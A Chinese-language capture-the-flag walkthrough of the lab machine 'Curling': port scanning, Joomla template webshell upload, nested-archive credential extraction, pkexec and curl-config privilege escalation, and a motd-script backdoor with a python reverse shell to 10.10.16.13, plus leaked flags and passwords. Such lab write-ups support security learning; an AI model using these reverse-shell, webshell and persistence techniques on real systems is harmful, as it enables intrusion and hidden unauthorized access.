[Meachines] [Easy] Curling +zip文件嵌套+TRP00F权限提升+CURL滥用文件读取+sysinfo-SSH后门权限提升
字数 865 2025-08-22 12:23:41
Meachines渗透测试教学文档
1. 信息收集阶段
1.1 端口扫描
使用masscan进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.10.150 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
使用nmap进行详细扫描:
nmap -Pn -sV -sC -p$ports 10.10.10.150
扫描结果:
- 22/tcp: OpenSSH 7.6p1 Ubuntu
- 80/tcp: Apache httpd 2.4.29 (Ubuntu)运行Joomla CMS
1.2 Web目录探测
发现敏感文件:
curl http://10.10.10.150/secret.txt
解码base64内容:
echo 'Q3VybGluZzIwMTgh' |base64 -d
得到凭证:username:Floris password:Curling2018!
2. Web应用渗透
2.1 Joomla后台登录
访问Joomla后台:
http://10.10.10.150/administrator/index.php
使用获得的凭证登录。
2.2 模板文件编辑漏洞
利用Joomla模板编辑功能上传webshell:
http://10.10.10.150/administrator/index.php?option=com_templates&view=template&id=506&file=L2luZGV4LnBocA
使用php-reverse-shell:
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
3. 文件嵌套压缩分析
发现嵌套压缩文件:
curl http://10.10.10.150/ > res
cat res | xxd -r > bak
解压步骤:
binwalk bak
bzip2 -d bak
binwalk bak.out
mv bak.out bak.gz
gzip -d bak.gz
binwalk bak
bzip2 -d bak
binwalk bak.out
tar xf bak.out
获得凭证:
- username:floris
- password:5d<wdCbdZu)|hChXll
4. 权限提升
4.1 使用TRP00F工具
python3 trp00f.py --lhost 10.10.16.13 --lport 10012 --rhost 10.10.16.13 --rport 10011 --http 1111
选择利用pkexec漏洞。
4.2 CURL -K参数滥用
监控进程:
./pspy32
利用curl配置文件读取root文件:
while true; do
echo -e "url = file:///root/root.txt\noutput = /tmp/root" > /home/floris/admin-area/input
if [ -f /tmp/root ]; then
echo "Flag:" $(cat /tmp/root)
break
fi
sleep 1
done
4.3 sysinfo SSH后门
修改/etc/update-motd.d/50-landscape-sysinfo文件:
#!/bin/sh
cores=$(grep -c ^processor /proc/cpuinfo 2>/dev/null)
[ "$cores" -eq "0" ] && cores=1
threshold="${cores:-1}.0"
if [ $(echo "`cut -f1 -d ' ' /proc/loadavg` < $threshold" | bc) -eq 1 ]; then
echo
echo -n " System information as of "
/bin/date
echo
/usr/bin/landscape-sysinfo
else
echo
echo " System information disabled due to load higher than $threshold"
fi
python3 -c 'import socket, os, pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.16.13",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/bash")' &
使用curl下载后门:
echo -e "url = http://10.10.16.13/50-landscape-sysinfo\noutput = /etc/update-motd.d/50-landscape-sysinfo" > /home/floris/admin-area/input
通过SSH登录触发后门:
ssh floris@10.10.10.150
5. 获取的Flag
- User.txt: 9cd31d58b2560bd53d7569921ef8e3e2
- Root.txt: 2ba5c4cd5856f05ebf2015aa04e33dae
6. 关键知识点总结
- 信息收集:masscan快速扫描+nmap详细扫描的组合使用
- Web应用渗透:Joomla CMS的模板编辑漏洞利用
- 文件分析:多层嵌套压缩文件的处理方法
- 权限提升:
- TRP00F工具利用pkexec漏洞
- curl -K参数滥用读取文件
- 通过修改motd文件植入SSH后门
- 隐蔽后门:利用系统正常功能(SSH motd)隐藏后门程序